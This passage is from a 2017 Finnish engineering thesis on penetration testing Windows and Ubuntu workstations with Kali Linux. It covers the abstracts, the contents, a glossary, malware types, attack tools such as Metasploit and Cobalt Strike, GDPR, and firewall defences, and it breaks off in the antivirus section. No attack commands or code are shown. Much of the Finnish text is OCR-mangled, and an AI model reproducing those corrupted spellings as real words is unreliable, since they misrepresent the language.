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Insindoritydn tarkoituksena oli testata tydasemaympdariston haavoittuvuuksia eri kayttojar-
jestelmilla. Ensisijainen testattava tybasemaymparistd oli Windows, koska se on muita
kayttojarjestelmia yleisemmin kayttssa yrityksissa ja yksityisilla tahoilla. Toiseksi testattiin
Linux-tybasemaa, Ubuntua. Haavoittuvuustestaukseen kaytettiin Kali Linux -jakelupakettia,
joka sisdlsi tyon toteutukseen vaadittavia tytkaluja ja moduuleja. Yksi insinddrityén tavoit-
teista oli oppia ymmartdmaan, miten haavoittuvuuksia hyddynnetaan, kuinka hyokkayksia

tybasemia kohti toteutetaan ja miten yleiset tietoturvamekanismit torjuvat niité.

Haavoittuvuustestauksessa selvisi, ettd suojaamattomaan koneeseen on varsin helppo
hyokatd, mikali kayttdja tekee vaadittavan virheen. Onnistunut hyokkays vaati usean haa-
voittuvuuden hyvéaksikayton, joten suojattuun koneeseen oli haastavampi hydkata. Johto-
paatoksena voitiin todeta, ettd kayttajat ovat turvassa, jos heillda on yleinen ymmarrys tieto-

turvasta ja riskeistd, joita téassa insin0o6ritydssa kasiteltiin.

Insin6oritydssa perehdyimme myds yleiseen tietosuoja-asetukseen ja tietoturvapolitiikkaan
ja siihen, miten ne vaikuttavat globaalien yritysten ja organisaatioiden toimintaan Euroopan

Unionissa. Kaikki testauksen tulokset kirjattiin ja dokumentoitiin insin6orityohon.
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The purpose of this thesis was to test the vulnerabilities in different workstations using the
Kali Linux penetration testing tool. The main workstation that we chose to test for vulnera-
bilities was Windows operating system, as it is the most popular operating system used by
organizations and private users in the present day. The second workstation that we tested
for vulnerabilities was Ubuntu. One of our goals was to learn how the workstation vulnera-
bilities are exploited, how the attacks are executed, how the malicious software will func-
tion when executed and how to defend against these threats. In our testing, we discovered
that it is easy to attack unprotected workstations, if the target user makes the required mis-
takes. A successful attack requires multiple exploits to work, which made attacking to pro-
tected workstations more difficult. As a conclusion, we could state that users are safe, if
they have information security awareness and a general understanding of the risks, which

are discussed in this thesis.

In this thesis, we also discuss the topics of data security standards and the general data
protection regulation, how they affect global companies and organizations in the European
Union. All inspected testing results have been described and documented in this thesis.
The thesis was done as a pair-work, where the theory was written together and for vulner-

ability testing purposes both authors had own virtual environments.
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y =
e ——

/e
Metropolia



Abstract

Authors Ville Puupponen, Sebastian Malmstrom
Title Sakerhetsprovning pa arbetsstationer
Number of Pages 63 sidor + 13 bilagor

Date 8 May 2017

Degree Ingenjorsexamen

Degree Programme Informationsteknik

Specialisation option Data- och informationsteknik

Instructor Erik Patynen Universitetslektor

Syftet med examensarbetet var att testa sarbarheter i olika arbetsstationer med hjalp av
Kali Linux penetrations testverktyg. Den huvudsakliga arbetsstationen som vi valde att testa
for sarbarheter var Windows-operativsystem, eftersom den &r det mest populara operativ-
systemet som anvands av organisationer och privata anvandare idag. Den andra arbets-
stationen som vi testade for sarbarheter var Ubuntu. Ett av vara mal var att lara oss hur
arbetsstationers sarbarheter utnyttjas, hur attackerna utfors, hur den skadliga programvaran
fungerar nar den kors och hur man férsvarar mot dessa hot. | vara test upptackte vi att det
ar latt att attackera oskyddade arbetsstationer, om anvandaren gér de ndédvandiga missta-
gen. En framgangsrik attack kraver att flera exploiteringar fungerar, vilket gjorde attacker
mot skyddade arbetsstationer svarare. Som en slutsats kan vi konstatera att anvandarna ar
sakra, om de har informationssakerhetsmedvetenhet och en allméan forstaelse for de risker

som diskuteras i examensarbetet.

| denna avhandling diskuterar vi ocksa datasdkerhetsstandarder och den allméanna data-
skyddsforordningen, hur de paverkar globala foretag och organisationer i Europeiska un-
ionen. Alla testresultat har beskrivits och dokumenterats i examensarbetet. Examensarbetet
gjordes som ett pararbete dar teorin skrevs tillsammans och for sarbarhetsprovning hade vi

bada egna virtuella miljoer.

Keywords informationssakerhet, Kali Linux, sarbarhetstestning

=
e ——

4

Metropolia



Sisallys

Lyhenteet ja kasitteet

1 Johdanto

2 Tybasemien haavoittuvuus

2.1
2.2

Haavoittuvuudet

Haittaohjelmat

3 Kali Linux -jarjestelma

3.1
3.2
3.3
3.4

Yleista
Kayttotarkoitus
Historia

Yleiset sovellukset

4  Tietoturvapolitiikka

4.1
4.2
4.3

Yleista
Tietoturva yrityksissa

Yleinen tietosuoja-asetus

5 Puolustautuminen hyokkayksilta

51
5.2
5.3
5.4
5.5
5.6
5.7

Palomuuri

DMZ eli Eteisverkko
Virustorjuntaohjelmistot

IDS eli tunkeilijan havaitsemisjarjestelmé
Kayttojarjestelméan koventaminen
Tietoturvatarkastukset

Hybkkayksen tunnistaminen ja reagointi

6 Hyokkaystekniikoita

6.1
6.2
6.3
6.4
6.5
6.6

Hyokkayksen rakenne

Kohteen lI6ytaminen

Spoofing attack eli huijaushyokkays
Dropper-menetelméa
Sivuttaissiirtyma

ROP-mitigation

oD o O O

10

10
11
11
11
12
13
13

15

15
16
16
18
18
21

y =

@Zmpolia



6.7

DLL injection

7 Haavoittuvuustestaus

7.1
7.2
7.3
7.4
7.5
7.6
7.7
7.8
7.9
7.10
7.11
7.12
7.13

Virtuaalinen ymparisto

Laitteiden ja porttien skannaus

Ympariston asetusten valmistelu

Haittasivuston testaus

Windows 7 -tybaseman haavoittuvuustestaus Armitagella
Haitallinen PDF-tiedosto

Haittaohjelmien siirto kohteisiin ja Avastin testaus
Avastin testaus haittaohjelmia ajettaessa

Palo Alto Traps -testaus

Windows Server -palvelinkayttojarjestelma

Web Delivery for Linux -hyokkays

Binary Linux Trojan -hytkkays

Pivoting-tekniikka

8 Yhteenveto

Lahteet

Liitteet

21

22

22
24
25
26
28
32
40
43
46
47
50
52
56

63

64

y =

@;ropolia



Lyhenteet ja ké&sitteet

Post-Exploitation  Jarjestelman saastuttamisen jalkeinen hyddyntaminen.

VM Virtual Machine. Virtuaalikone, eli ohjelmallisesti toteutettu tieto-

kone, jota kaytetaéan aivan kuten tavallista konetta.

(D]\Y/ 4 Demilitarized Zone. Eteisverkko, jossa on yrityksen julkiset pal-
velimet. DMZ estda paasyn sisdiseen verkkoon julkisen verkon

kautta.

ARP Address Resolution Protocol. Protokolla, jolla selvitetdan Ether-

net-verkoissa |IP-osoitteita vastaava MAC-osoite.

SYN-ACK Synchronize and Acknowledge messages. Kaytetdan kolmtiekat-
telyssa. Kun kohdelaite on saanut SYN-paketin vastaan, laite

vastaa lahettgjalle SYN/ACK-paketilla, ettd SYN-paketti on saa-

punut.
NMAP Network Mapper. Verkonkartoitustyokalu.
DNS Domain Name System. Internetin nimipalvelujarjestelma,

joka muuntaa verkkotunnuksia IP-osoitteiksi.

AD Active Directory (aktiivihakemisto). Kayttajatietokanta ja
hakemistopalvelu, joka siséltda tietoa kayttajista, tietokneista ja

verkon resursseista.

s Internet Information Services.Microsoftin kehittama palvelinoh-
jelmistokokonaisuus, joka on tarkoitettu kaytettvaksi Windows-

pohjaisissa palvelimissa.

SNMP Simple Network Management Protocol. Protokolla, jonka avulla
voidaan kysella verkossa olevien laitteiden tilaa ja antaa halytyk-

sia.
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SMTP Simple Message Transfer Protocol. TCP-pohjainen protokolla,
jota kaytetaan viestien valittamiseen sahkopostipalvelimien kes-

ken.

HTTP Hypertext Transfer Protocol. Hypertekstin siirtoprotokolla, jota

selaimet ja www-palvelimet kayttavat tiedon siirtoon.

HTTPS Hypertext Transfer Protocol Secure. HTTP- ja TLS/SSL-
protokollan yhdistelm&, jota kaytetdan suojattuun tiedon siirtoon

julkisessa verkossa.

SSL Secure Sockets Layer. Protokolla, jolla suojataan Internet-

sovellusten tietoliikenne IP-verkkoissa.

Autentikointi Kayttgjan tai palvelun varmennettu tunnistaminen. Usein kaytta-
jAtunnistautuminen on toteutettu verkon yhteisen tietokanna

avulla.

Zero day Haava, joka ei ole yleisesti tiedossa eika siihen ole olemassa

korjausta. Paljastuu yleensa, kun sitd hyddyntava haittaohjelma
lOytyy.

TCP Transmission Control Protocol. Tietoliikenneprotokolla, jolla luo-

daan yhteyksia tietokoneiden vélille.

URL Uniform Resource Locator. Kéaytetaan osoittamaan www
sivuja.
Payload Haittakuorma, jonka hyokkaaja lahettaa kohteeseen.
y
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1 Johdanto

Tybasemien tietoturva-aukot ovat olleet ongelmana jo internetin syntymasta lahtien,
jolloin haittaohjelmien leviaminen on alkanut ja jarjestelmien haavoittuvuuksia on kay-
tetty hyddyksi. Haavoittuvuuksia kartoitetaan jatkuvasti ja pyritdan paikkaamaan sita
mukaa, kuin uusia haavoittuvuuksia havaitaan. Tassa insindorityéssa hyodynnamme
tunnettuja haavoittuvuuksia tydasemiin, kun suoritamme hyokkayksia. Tarkoituksena
on simuloida tilanteita, joissa kayttaja vahingossa avaa haittaohjelmia siséaltavan sah-
kopostiliitteen, kaynnistaa haittaohjelman siséltavan tiedoston tai avaa haittasivuston
selaimellaan. Naissa tilanteissa kayttaja ei ole varautunut tietoturvamurtoon ja yleensa

han ei tieda, mitd taustalla tapahtuu.

Kaytamme tytkaluna Kali Linux -jarjestelmaa, joka on suunniteltu penetraatio- ja haa-
voittuvuustestaukseen. Kali Linux on yleinen tytkalu tietoturvayrityksissa, ja sita kayte-

taan jokapaivaisessa tietoturvauhkien rajauksessa ja tietoturvaohjelmien testauksessa.

SelvitdAmme insinddritydssa, miten hyokkayksiltd pystytddn suojautumaan mahdolli-
simman hyvin. Liséksi perehdymme yleiseen lainsdadantoon liittyen tietoturvaan yrityk-
sissd, kuten kayttgjahallinta ja tietoturvastandardit. Tyon tavoitteena on saada tydase-
ma otettua haltuun kayttaen eri haittaohjelmia ja eri hyokkaysmenetelmia. Samalla ha-
luamme havainnollistaa, kuinka tuhoisat seuraamukset voivat olla, mikéli oma tybase-
ma tulee hakkeroiduksi. Ty6ssa raportoimme sek& onnistuneiden ettd epaonnistunei-
den testien tuloksia, koska on tarkeaa nahda molempien lopputulokset. Huomattiin etta
molemmista on hyodtya testausmielessa. Insindority6ta voi hyddyntdd ymparistdjen
haavoittuvuustestauksissa tai tietoturvauhkien havainnollistamiseen koti- tai yritysym-
paristossa. Tyon teoria on kirjoitettu yhdessa ja kaytanndn osuudessa molemmilla oli

omat virtuaaliymparistot kaytdssa testauksia varten.



2 Tybasemien haavoittuvuus

2.1 Haavoittuvuudet

Tybasemien haavoittuvuus johtuu yleensa péivittamattémista kayttojarjestelmista tai
ohjelmista. Myds palomuurin vaarin konfigurointi tai sen poistaminen kaytosta altistavat
tybasemat haavoittuviksi. Palomuurit ja virustorjunnat eivét ole yksinaan vastuussa
tybasemien eheydesta, vaan vastuussa ovat myos niiden kayttajat ja jarjestelménval-
vojat. Yleisin syy tybasemien saastumiseen on kayttajan tekema virhe, joka saattaa
olla vain séhkdpostin liitetiedoston avaaminen. Virustorjuntaohjelmat yleensa varoitta-
vat epailyttavista liitteista tai suoritettavista tiedostoista, kuten esimerkiksi suoritettavat
.exe- .scr- tai .pdf-tiedostot ja JavaScript. Virustorjuntaohjelmien pitaa olla taysin ajan
tasalla, jotta ne pystyvat huomaamaan tehokkaammin uhkia. Virustorjuntaohjelmat
eivat ole taydellisid, joten péddvastuu jaa kayttdjan oman vaiston ja kokemuksen va-

raan.

Yleensa parjaa maalaisjarjella: esimerkiksi, jos ei ole arvontaan osallistunut, niin ei voi
myo6skaan voittaa. Tama ajatus perustuu tapaan, jolla kayttajia lahestytaan sahkopostil-
la, jossa luvataan arvontavoiton palkkio linkkid painamalla. Talla menetelmalla houku-
tellaan kayttajaa avaamaan linkki haittasivustolle, mik& saattaa johtaa tybaseman saas-
tumiseen. Yritysmaailmassa yleisin kayttojarjestelmé on Windows, ja siksi siit on etsit-

ty eniten haavoittuvuuksia. [43.]

Haavoittuvuudet ovat jarjestelmasta tai ohjelmistosta I6ytyneitd heikkouksia, joita voi-
daan hyddyntdd hyokkayksissd. Haavoittuvuuksia paikataan pdivityksilla, mutta paivi-
tyksissa piilee myds mahdollisuus uusien haavoittuvuuksien syntymiseen. Haavoittu-
vuus jarjestelmassa voi olla esimerkiksi ohjelma, jota ei ole paivitetty, jolla on paljon
oikeuksia ja josta on ldydetty vakava haavoittuvuus. Haavoittuvuuksia l16ydetdan eri
jarjestelmista jatkuvasti. Haavoittuvuuksia voivat 18ytda joko jarjestelman yllapidosta
vastaava taho tai haitallinen taho. Vakavat haavoittuvuudet voivat tulla kalliiksi jarjes-
telmén tai ohjelmiston valmistajalle, mink& takia harvinaisista ja vakavista haavoittu-

vuuksien Ioytamisesta saatetaan maksaa hyvin.



2.2 Haittaohjelmat

Haittaohjelma on yleiskasite ohjelmille, jotka aiheuttavat tarkoituksella ei-toivottuja ta-
pahtumia tietokoneessa tai tietojarjestelmassa. Haittaohjelmia ovat esimerkiksi viruk-

set, tietokonemadot, troijalaiset tai vakoiluohjelmat. [10.]

Virukset (tietokonevirukset)

Virus on tietokoneohjelma, joka monistaa itsedén ja levida tietokoneesta toiseen ai-
heuttaen hairintaa tietokoneen toiminnassa. Virukset voidaan naamioida liitetiedostoik-
si, jotka voivat olla kuvia, tervehdyskortteja tai &ani- ja videotiedostoja. Virukset leviavéat
joko sahkopostiviestien liitteind tai internetisté ladattujen tiedostojen kautta. Virukset

voivat olla piiloutuneina laittomiin ohjelmiin tai tiedostoihin. [16.]

Madot

Mato on tietokonekoodi, joka levidd automaattisesti ilman kayttajan toimia. Useimmat
madot levidvat sahkdpostiliitteind ja ne tartuttavat tietokoneen, kun liitteen avaa. Mato
etsii tietokoneesta sdhkdpostiosoitteita sisaltavia tiedostoja, kuten osoitteistoja ja verk-
kosivuja. Mato l&hettdd |0ytyneisiin osoitteisiin tartunnan saaneita sahkopostiviesteja.
Mato kopioi lahettdjan sahkopostiosoitteen lahettdessddn uusia viesteja I0ytyneisiin
osoitteisiin. Nain viestit nayttavat tulevan tutulta lahettgjaltd. Nain madot leviavat auto-
maattisesti séhkdpostiviesteissa, verkoissa tai kayttdjarjestelman haavoittuvuuksien
kautta. Madot aiheuttavat yleensa suorituskyky- ja vakausongelmia tietokoneissa ja
verkoissa. Pahimmassa tapauksessa se tuhoaa tietokoneen kayttokelvottomaksi, jol-

loin tarvitaan suuria eheytys toimenpiteita. [16.]

Troijalaiset

Troijalainen hevonen on haitallinen ohjelma, joka piiloutuu muiden ohjelmien sisélle.
Sen siirtyma tietokoneeseen tapahtuu yleensa nettisurffailun yhteydessa tai ohjelman
latauksen yhteydessd. Asennuksen yhteydesséa haittaohjelma siirtyy koneen luotetta-
vaan ohjelmaan, kuten esimerkiksi ndytbnsaastdjan sisélle. Taten haittaohjelma takaa
jatkuvuuden toiminnalleen. Aina kayttajan kaynnistettya koneensa ohjelma pydrii taus-
talla normaalina prosessina. Haittaohjelman tavoite on kerata arvokasta tietoa ja pysya

laitteessa mahdollisimman pitkd&n huomaamattomana. Troijalaiset ovat suosituimpia



viruksia, koska ne antavat hyotkkaajalle mahdollisuuden pysya taustalla kenenkaan
huomaamatta. Kun hyokkadja on kerénnyt tarpeeksi dataa, kuten salasanoja ja tun-
nuksia, voi h&n halutessaan eskaloida kayttdoikeudet itselleen ja kayttad hyvaksi koh-

dettaan.

Troijalaisen huomaaminen on vaikeaa, mutta yksi hyva tapa on tarkkailla normaaleja
prosesseja koneessa. Normaalien prosessien hidastuessa huomattavasti voi kyseessa

olla haittaohjelma taustalla. [40.]

Takaovet

Takaovi on ohjelma, joka sallii tunkeutujan tai vieraan paasyn tietokoneelle ohittaen
standardit tietoturvamekanismit. Takaovi voidaan asentaa tietokoneeseen kayttdjan
huomaamatta, usein tietoturva-aukkojen kautta, madon tai viruksen mukana. Takaovi

voi myos olla sisdanrakennettuna ohjelmistossa. [10.]

Kiristyshaittaohjelmat

Salaava Kkiristyshaittaohjelma salaa tietokoneella olevat tiedostot sotkemalla niiden
sisallon. Tiedostot saadaan auki vain salauksen purkuavaimella, joka palauttaa tiedos-
tot takaisin entiselleen. Yleensa purkuavainta vastaan pyydetdan lunnaita. Kun haitta-
ohjelma on saastuttanut yhden tietokoneen, se voi levitad verkon kautta muihin tietoko-
neisiin. Ohjelmalla voidaan pahimmillaan lamauttaa koko yrityksen liiketoiminta. Lun-
naat vaaditaan yleensa Bitcoineina (virtuaalivaluutta), koska sitd on vaikea jaljittaa.
Kiristysohjelmat voivat saastuttaa tietokoneet monella eri tavalla, esimerkiksi sahko-
postin liitetiedostona, haitallisena linkkina tai haavoittuvuutta hyddyntavéna pakettina
(exploit kit). [20.]

Exploit kit

Haavoittuvuutta hyédyntavélle paketille voi altistua kaymalla saastuneella verkkosivus-
tolla, klikatessa saastunutta mainosta tai jos kayttdja uudelleenohjataan haitalliselle
sivustolle. Paketti etsii tietokoneesta hyvéaksikaytettavia aukkoja tai haavoittuvuuksia.
Esimerkiksi vanhentunutta Flash- tai Silverlight-liitannaista tai pdf-lukijaa. Jos tietoko-
neesta loytyy aukko, paketti lataa ja asentaa haittaohjelman tietokoneelle kayttajan

huomaamatta. [10; 20]



Vakoiluohjelmat

Vakoiluohjelmat voidaan asentaa tietokoneeseen kayttajan tietdmatta asiasta. Ohjel-
mat voivat muuttaa tietokoneen kokoonpanoa tai kerata mainostukseen tarvittavia tieto-
ja. Esimerkiksi henkilttietoja tai internethakutapoja. Vakoiluohjelmat voivat ohjata se-

laimen uudelleen johonkin muuhun sivustoon kuin mihin kayttaja on siirtyméassa. [16.]

3 Kali Linux -jarjestelma

3.1 VYleista

Kali Linux on kehittynyt penetraatiotestauksen jakelupaketti. Se siséltdd useita ohjel-
mia, joilla voidaan tehda muun muassa porttiskannauksia, murtaa salasanoja, tehda
WLAN-verkkojen penetraatiotestausta ja pakettien analysointia. Kali Linuxia on kehitet-
ty osana Metasploit-projektia, jonka tavoitteena on havainnollistaa tietoturva-
asiantuntijoille hyokkaysmenetelmia ja ymmarrysta hyokkayksen etenemisesta. [.9] Kali
Linux on oiva tyokalu nykypéivan testauksiin ja onkin suuressa suosiossa penetraatio-

testaajien keskuudessa. Kuvassa 1 on esitetty Kali Linuxin perusnakyma.

| €3 thesis1-kali on — >
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Kuva 1. Kali Linux -tyopoyta.



3.2 Kayttotarkoitus

Kali Linux on penetraatiotestaukseen ja tietoturvan testaamiseen tarkoitettu Linux-
jakelupaketti, joka pohjautuu Debianiin. Kayttojarjestelmén ytimenad toimii Linux, ja
haavoittuvuustestaukseen tarkoitettuja sovelluksia on yli 600 valmiiksi asennettuna.
Kali Linux on suosittu vaihtoehto, kun testataan erilaisia palomuureja tai virustorjunta-
jarjestelmia nykypaivanad. Helppokayttdisyyden vuoksi jopa Linux-aloittelija pystyy to-

teuttamaan tietoverkkoihin tai tydasemiin kohdistettuja hyokkayksia. [21; 22.]

3.3 Historia

Kali Linux -jakelupaketin kehitettely alkoi 12 vuotta sitten nimella BackTrack Linux, joka
oli avoimen lahdekoodin Linux-jakelupaketti. BackTrack Linux oli suunniteltu tietotekni-
seen rikostutkintaan ja penetraatio testaukseen. Kyseinen jakelupaketti oli kahden Kkil-
pailevan jakelupaketin WHAX:in ja Auditor Security Collection:in yhteen sulautus.
BackTrack Linux sisélsi useita hyvin tunnettuja tietoturvatestauksen tyokaluja, kuten
Metasploit, Armitage, Nmap ja Wireshark. WHAX on tietoturvakonsultti Mati Aharonin
kehittama Linux-jakelupaketti, jonka aikaisempi versio oli Knoppixiin perustuva Whop-
pix. Knoppix oli ensimmainen Linux-jakelu, joka osasi automaattisesti tunnistaa tieto-
koneen laitteiston ja ladata sille sopivat ajurit. Ensimmainen julkaisu itse Kali Linuxista
oli 1. maaliskuuta 2013.[9; 11; 22.]

3.4 Yleiset sovellukset

Metasploit

Metasploit on maailman yleisin kaytetty penetraatiotestausohjelma. Metasploitilla pysty-
tdan etsimaan haavoittuvuuksia jarjestelmista ja testaamaan haavoittuvuuksia auto-
maattisesti, kayttaen maailman suurinta exploit-tietokantaa. Metasploit-ohjelmassa on
valmiina erityyppisia hyokkaysmenetelmia. Menetelmilla voidaan testata jarjestelman
kestavyytta ja opetella suojautumaan hyokkayksiltd. Metasploitilla voidaan simuloida
tunnettuja hyokkayksia hallitusti. Koska hyokkaykset ovat realistisia ja myo6s yleisesti

hyokkadajien kaytdssa, se on oiva tydkalu jarjestelmien testaamiseen. [32.]



Armitage

Armitage on graafinen kyberhydkkayksien hallintatydkalu, joka kehitettiin Metasploit-
projektille. Ohjelmalla voi visualisoida kohteensa ja tallentaa omaan rekisteriin 10yta-
mansa haavoittuvuudet ja kdynnisséa olevat sessiot. Ohjelma ehdottaa kayttgjalle, mita
automatisoituja hyokkayksia kohteeseen voidaan suorittaa. Armitagella voidaan hel-
posti hyédyntaa haavoittuvuuksia ja hallita haltuun saatuja koneita. Ohjelma on Metas-
ploit-kehikolle kehitetty GUI-ratkaisu (Graafinen liittymd), jonka avulla tietoturva-
asiantuntijat voivat oppia paremmin ymmartdmaan hakkerointia ja saada kasityksen
Metasploitin potentiaalista. [6.]

Cobalt Strike

Cobalt Strike on Raphael Mudgen kehittdma tietoturvauhkien simulointiohjelma, jolla
jaljitellaan nykyaikaisia hyokkayksia ja testataan jarjestelmid. Ohjelma sisaltda kattavan
kokoelman hyokkays- ja hyokkayksenhallintatyokaluja penetraatiotestaajille. Cobalt
Striken liittym& on graafinen ja muistuttaa hieman Armitagea. Asiantuntijat ovat kehu-
neet ohjelmaa hyodylliseksi siind mielessa, ettd se auttaa havainnollistamaan hyok-
kaysta ja helpottaa tilannetietoisuutta. Toisin kuin Armitage, Cobalt Strike ei ole Metas-

ploitista rijppuvainen.

Cobalt Strike -ohjelmaa voi kayttda yhdessa Armitagen kanssa. Sen kayttélisenssi
maksaa 3 500 dollaria, ja se on vuosittain uusittava. Uusintalisenssi maksaa 2 500 dol-
laria. Cobalt Strike -ohjelmalle on myds 21 paivan ilmainen kokeilujakso, joka kuitenkin
on haastava hankkia, silla latausta varten on kuuluttava yhtiddn ja tehtava anomus
kehittajalle. [41.]

NMAP

NMAP on avoimen lahdekoodin verkon kartoitus- ja suojauksen valvonnan tyokalu.
Sovellukseen tarvitsee syottdd vain halutut parametrit ja ip-osoitealue. Nmap:lla voi-
daan esimerkiksi etsia avoimia TCP-portteja, havainnollistaa eri kayttojarjestelmét ver-

kosta, tunnistaa kayttajat verkosta tai etsid kaynnissa olevia palveluita verkosta.



4 Tietoturvapolitiikka

4.1 Yleista

Kaikissa yrityksissa on oltava toiminnan takaamisen ja laadun varmistavia kontrolleja,
jotka ohjaavat yrityksen toimintaa tehokkaalla ja tarkoituksenmukaisella tavalla. Kont-
rollien tarkoitus on varmistaa tietoturvallista ja laadukasta tietojenkasittelya. Yrityksen
tietoturvatyon tulee olla hallittua ja prosessinomaista toimintaa, jonka tulisi nakya joka-
paivaisessa toiminnassa. [23.] Keskitetylla tietoturvallisuuden hallintajérjestelmalla voi-
daan helposti reagoida muuttuvaan toimintaymparistoon. Tietoturvakontrollien tulee
olla mahdollisimman kustannustehokkaita ja kohdistua oikeisiin prosesseihin, kuiten-
kaan hidastamatta yrityksen toimintaa. Tietoturvakontrolleja on muun muassa kaytta-
jien oikeuksien rajoittaminen. Esimerkiksi jos kayttdja haluaa ladata ohjelmia koneelle,
hanella tulee olla tahan myonnetty oikeus. Yleensa isoissa yrityksissa on rajattu taval-
listen kayttdjien oikeuksia ladata ja pdivittaa tiedostoja. Nain voidaan varmistaa, ettei
kayttdja vahingossa lataa haittaohjelmia. Tilanteessa, jossa kayttdjan tarvitsee ladata
ohjelma koneelle, se tulee suorittaa hallittuna prosessina, jonka yleensa IT-vastaava tai

jarjestelmanasiantuntija suorittaa tai myontaa luvan lataukselle.

4.2 Tietoturva yrityksissa

Yrityksen kaikki tietojarjestelmét tulisi pitéd ajan tasalla keskitetylla hallinnalla, jolla
voidaan paivittaa jarjestelmat helposti. Talla menetelmalla paivityksistad vastaavan hen-
kilon ei tarvitse kayda fyysisesti paivittdmassa jokaista jarjestelmaa erikseen. Nain pys-
tytadn myos pakottamaan jarjestelmat pdaivittymaan ja ajoittamaan paivitykset tiettyihin
kellonaikoihin. Jarjestelmien paivittaminen pitéisi ottaa kiinteaksi osaksi tietohallinnon

prosesseja, jotta jarjestelmat pysyvat ajan tasalla. [35.]

Henkilokuntaa tulisi perehdyttéé tietoturvan perusasioihin, kuten salasanojen vahvuuk-
siin, kalastelusahkdposteihin ja laitteiden hallintaan. Kannettavat tietokoneet tulisi pitaa
nakoyhteyden paassa tai vahintdan lukita kunnolla poissa oltaessa. Laitteita ei kannat-
taisi jattaa yksin, ainakaan julkisilla paikoilla. Henkilékuntaa pitéisi myds kouluttaa sosi-

aalisen median kayttssa, jos sitd kaytetdan tydasioiden hoitamisessa tai tython liitty-



vissd asioissa vapaa-ajalla. Liiallisten kuvien tai informaation lisddminen tydpisteesta

on aina riski. [35.]

Varmuuskopiointi on erittéin tarke&a, ja jokaisen tyontekijan tulisi varmuuskopioida tie-
dostonsa. Varmuuskopiointivali olisi hyva pitéd lyhyend, esimerkiksi kerran viikossa.
Nykyaan on mahdollista varmuuskopioida tiedostot pilvipalveluun. N&in ei tarvitse miet-
tia fyysisten levyjen tallennustilaa eikd niiden kuntoa. On myds olemassa ohjelmia,
jotka varmuuskopioivat tiedostot automaattisesti suoraan pilveen ja néain ollen kayttajan
ei tarvitse muistaa varmuuskopioida. Pilveen kopioidessa ei mydskaan tarvitse miettia

fyysiseen levyyn kohdistuvia uhkia, kuten tulipalo, varkaus tai sabotaasi. [35.]

4.3 Yleinen tietosuoja-asetus

Euroopan unionin tietosuojalainsaadantd uusiutui, kun yleinen tietosuoja-asetus tuli
voimaan 24. toukokuuta 2016 [13]. Oikeusministerion julkaisun johdannossa mainitaan,
ettd "Tietosuoja-asetusta sovelletaan kahden vuoden siirtyméaajan jalkeen 25. touko-
kuuta 2018 alkaen, jolloin henkil6tietojen kasittelyn on oltava tietosuoja-asetuksen mu-

kaista”.

Tietosuoja-asetuksen tavoite on uudistaa tietosuojaa koskevaa séantelyd ajanta-
saiseksi, jotta globalisaatioon liittyviin henkilotietojen suojaa koskeviin haasteisiin voi-
daan vastata. Tarkoituksena on vahvistaa rekisterdityjen henkilttietojen kasittelyn
avoimuutta ja lapindkyvyyttd. Asetettujen velvollisuuksien noudattamista varten on
saadetty henkilttietolakia tiukemmat seuraamukset asetuksen vastaisesta henkil6tieto-

jen kasittelysta. [13.]

Valvontaviranomainen voi mé&arata asetuksen vastaisesta toiminnasta korjaavia toi-
menpiteita ja hallinnollisia sakkoja. Asetusta sovelletaan niin yksityisella kuin julkisella

sektorilla riippumatta toimijoiden henkil6tietojen laajuudesta.

Siirtymaaikana organisaation tulee selvittad, vastaavatko sen tietojen suojaamista kos-
kevat kaytanntt asetuksen saantelya. Rekisterinpitdjan on arvioitava henkil6tietojen
kasittelyyn liittyvat riskit ja toimet naiden riskien vahentamiseksi. Tehokkaiden suoja-

toimenpiteiden avulla voidaan varmistaa asianmukainen turvallisuustaso. Kasittelyn
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turvallisuuden edellytyksena on taata palveluiden jatkuva luottamuksellisuus, eheys ja
kaytettavyys seka vikasietoisuus. Kasittelyyn liittyvien henkildtietojen suojaaminen vaa-
tii seurantaa ja valvontaa. Tietoturvaloukkauksen tai murron tapahtuessa rekisterinpita-
jan on tehtava loukkausta koskeva ilmoitus 72 tunnin kuluessa. HenkilGtietojen kasitteli-
jan on puolestaan ilmoitettava rekisterinpitajalle tapahtuneesta tietoturvaloukkauksesta

viipymatta tiedon saatuaan.

Tietosuoja-asetuksen yhtena paatavoitteena on yhtendistaa EU:n jadsenvaltioiden tieto-
suojaa koskevat saannokset. Tavoitteen toteutumiseksi asetuksen on oltava mahdolli-

simman yhdenmukainen ja johdonmukainen jokaisessa jasenvaltiossa.

5 Puolustautuminen hyokkayksilta

5.1 Palomuuri

Palomuuri on tietokoneeseen tai verkkoon liitetty laite tai sovellus, jolla pyritddn esta-
maan ulkopuolisten paasy yrityksen sisdiseen verkkoon. Palomuurit ovat yleensa erilli-
sia tietokoneita, reitittimia tai palomuurilaitteita. Palomuurilaitteet ovat laitteita, joita tiet-

ty yritys valmistaa yksinoikeudella.

Palomuureja on kaytetty verkossa jo vuosia, ja ne ovat nykyisin yritysten tietoturvan
tukipilareita. Pelkk& palomuuri ei suojaa yrityksen toimintaa kaikilta mahdollisilta uhkil-
ta, mutta silla voidaan suodattaa ja reitittdd liikennettd hallitusti. Palomuurin yhtena
heikkoutena on, etta se suodattaa vain sen lapi kulkevaa liikennetta. Silloin palomuuri
ei huomaa, jos verkkoon hyokataan vaihtoehtoisia reitteja pitkin, kuten sisaverkosta
sivuttaissiirtymalla tai langattoman lahiverkon tukiasemien kautta. Yleinen kaytantt
isoimmissa yritysverkoissa onkin asentaa useita palomuureja, kuten ulkoisia palomuu-

reja verkon reuna-alueille ja siséisia palomuureja sisdverkkoon.

Vuosittain havaitaan haavoittuvuuksia jo myynnissa olevissa palomuureissa, joita paik-
kaillaan yleensa versiopaivityksilla. Mikali palomuurit ovat vaarin konfiguroituja eika
niitd yllapideta tai valvota, tama mahdollistaa vakavan tietoturvallisuusaukon yrityksen

toiminnassa. [44.]
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5.2 DMZ eli Eteisverkko

Demiliratisoitu alue (DMZ) tai eteisverkko on verkkoalue, joka sijaitsee julkisen ja siséi-
sen verkon valissé. Verkkoalueiden valissd on palomuuri, jonka tarkoituksena on estaa
paasy sisaverkkoon julkisen verkon kautta, kuitenkin sallien siséaverkon ja julkisen ver-
kon liikenteen DMZ-alueelle. DMZ-alueelle sijoitetaan yleensa yrityksen julkisia palve-

limia, esimerkiksi web-, FTP-, SMTP- ja DNS-palvelimet.

5.3 Virustorjuntaohjelmistot

Virustorjuntaohjelmistojen tehtavana on ilmoittaa kayttgjalle, kun ohjelma havaitsee
epdilyttdvaa dataa, esimerkiksi selainten liitetiedostojen tai haitallisen verkkosivun la-
